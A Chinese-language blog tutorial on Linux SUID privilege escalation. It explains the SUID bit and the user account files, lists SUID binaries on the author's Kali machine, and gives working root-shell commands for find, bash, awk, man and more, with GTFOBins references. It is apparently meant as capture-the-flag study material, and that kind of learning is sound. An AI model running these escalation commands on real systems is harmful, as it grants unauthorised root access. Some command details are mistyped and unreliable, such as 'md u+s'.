SUID提权


前言

参考学长的博客https://c3ngh.top
会出三篇文章,一个是SUID提权的,一个是学习反弹shell的,最后是两个结合在一起的赛题练习

什么是SUID

/etc/passwd

SUID是文件权限的一种特殊位,表示当一个可执行文件被执行时,它会以文件拥有者的权限运行,而不是以执行者的权限运行。也就是说,如果该程序有SUID权限,程序运行的属者不是发起者,而是程序文件所属的属主
linux系统中引入了三个主要文件来管理用户和用户组的信息:
/etc/passwd
储存用户的基本信息,例如用户名、用户ID(UID)、组ID等
每个用户对应一行信息
/etc/passwd 文件中,每一行表示一个用户的信息,包含7个字段,用冒号(:)分隔。具体字段含义如下:
编号 字段名 含义
1 用户名(login name) 用户的登录名,用于标识用户,必须是唯一的,如root、user1等。
2 密码占位符 传统上存储加密密码,但现在存储的是占位符x,实际密码存储在/etc/shadow中。
3 用户ID(UID) 每个用户都有一个唯一的用户ID,用于标识用户。例如0表示超级用户root,普通用户的UID一般从1000开始。
4 组ID(GID) 用户所属组的ID,用于标识用户的主组。主组的详细信息存储在/etc/group中。
5 备注信息 说明或备注字段,通常存放用户的全名或其他信息,可以为空。
6 用户主目录 用户的默认主目录,通常是/home/用户名,也可以指定其他目录。
7 登录Shell 用户登录时的默认Shell。例如/bin/bash(可登录),或/sbin/nologin(不允许登录)
这里我登陆kail来看一下我的相关信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
└─# cat /etc/etc/passwd                     
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
_galera:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:102:MariaDB Server,,,:/nonexistent:/bin/false
tss:x:102:103:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:103:65534::/var/lib/strongswan:/usr/sbin/nologin
systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin
rwhod:x:104:65534::/var/spool/rwho:/usr/sbin/nologin
_gophish:x:105:105::/var/lib/gophish:/usr/sbin/nologin
iodine:x:106:65534::/run/iodine:/usr/sbin/nologin
messagebus:x:107:106::/nonexistent:/usr/sbin/nologin
tcpdump:x:108:107::/nonexistent:/usr/sbin/nologin
miredo:x:109:65534::/var/run/miredo:/usr/sbin/nologin
_rpc:x:110:65534::/run/rpcbind:/usr/sbin/nologin
Debian-snmp:x:111:109::/var/lib/snmp:/bin/false
redis:x:112:111::/var/lib/redis:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mosquitto:x:114:114::/var/lib/mosquitto:/usr/sbin/nologin
redsocks:x:115:115::/var/run/redsocks:/usr/sbin/nologin
stunnel4:x:991:991:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin
sshd:x:116:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
sslh:x:117:118::/nonexistent:/usr/sbin/nologin
postgres:x:118:119:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
avahi:x:119:120:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
_gvm:x:120:122::/var/lib/openvas:/usr/sbin/nologin
speech-dispatcher:x:121:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
inetsim:x:122:124::/var/lib/inetsim:/usr/sbin/nologin
geoclue:x:123:125::/var/lib/geoclue:/usr/sbin/nologin
lightdm:x:124:126:Light Display Manager:/var/lib/lightdm:/bin/false
statd:x:125:65534::/var/lib/nfs:/usr/sbin/nologin
saned:x:126:128::/var/lib/saned:/usr/sbin/nologin
polkitd:x:989:989:User for polkitd:/:/usr/sbin/nologin
rtkit:x:127:129:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:128:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
nm-openvpn:x:129:131:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
nm-openconnect:x:130:132:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
kail:x:1000:1000:kail,,,:/home/kail:/usr/bin/zsh
cups-pk-helper:x:131:135:user for cups-pk-helper service,,,:/nonexistent:/usr/sbin/nologin

应该不算泄露敏感信息吧

/etc/shadow:

专门存储用户的密码信息(加密后的密码)。
只有root用户或具有足够权限的用户可以访问这个文件

/etc/group:

存储系统中所有组的信息,例如组名、组ID(GID)以及组内的成员

利用SUID提权原理

如果一个文件的属主是root且设置了SUID,即使是普通用户执行该文件,程序运行时也会以root权限执行;系统中的用户如果UID=0,将被视为root用户。因此,普通用户的UID被设置为0,登陆后将自动拥有root权限。利用此特性,就可通过SUID提权

设置SUID权限

查看文件当前权限

1
ls -l filename

输出的权限中,没有s则表示尚未设置SUID

设置SUID:使用chmod命令给文件设置SUID位

1
md u+s filename

u+s表示给文件所有者(user)增加SUID权限

确认设置结果:再次查看文件权限

1
ls -al filename

如果文件权限中显示类似-rwsr-xr-x(注意s),说明SUID设置成功

如何查找已有的SUID的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

#find / -perm -u=s -type f 2>/dev/null
#/表示从文件系统的顶部(根)开始并找到每个目录
#-perm 表示搜索随后的权限
#-u = s表示查找root用户拥有的文件
#-4000:查找 SUID 文件(权限位的 SUID 为 4)
#-type表示我们正在寻找的文件类型
#f 表示常规文件,而不是目录或特殊文件
#2表示该进程的第二个文件描述符,即stderr(标准错误)
#>表示重定向
#/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

在我的kail大概是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(root㉿kali)-[~]
└─# find / -perm -4000 -type f 2>/dev/null
/usr/sbin/pppd
/usr/sbin/mount.cifs
/usr/sbin/mount.nfs
/usr/bin/rsh-redone-rlogin
/usr/bin/kismet_cap_ti_cc_2531
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/ntfs-3g
/usr/bin/su
/usr/bin/kismet_cap_nrf_52840
/usr/bin/chfn
/usr/bin/rsh-redone-rsh
/usr/bin/kismet_cap_nrf_51822
/usr/bin/kismet_cap_ubertooth_one
/usr/bin/kismet_cap_hak5_wifi_coconut
/usr/bin/kismet_cap_linux_wifi
/usr/bin/vmware-user-suid-wrapper
/usr/bin/gpasswd
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/umount
/usr/bin/sudo
/usr/bin/kismet_cap_ti_cc_2540
/usr/bin/mount
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/kismet_cap_rz_killerbee
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/chromium/chrome-sandbox
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool


进行SUID提权

find命令提权

1
2
3
4
5
6
7
8
9
#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限

find 任意文件 -exec whoami \; -quit
#root
find 任意文件 -exec /bin/sh -p \; -quit
#whoami
#root
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

其他命令提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
suid文件 	提权命令
/usr/bin/bash bash -p
/usr/bin/csh csh -b
/usr/bin/sh sh -p
/usr/bin/ksh ksh -p
/usr/bin/zsh zsh
/usr/bin/find find /etc/passwd -exec /bin/bash -p ;
/usr/bin/awk awk ‘BEGIN {system(“/bin/bash”)}’
/usr/bin/man !/bin/bash
/usr/bin/more !/bin/bash

可以查阅:https://gtfobins.github.io/

离线版:https://github.com/nccgroup/GTFOBLookup

BASH

1
2
gtfoblookup gtfobins search find
#在gtfobins库中查找find命令

文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录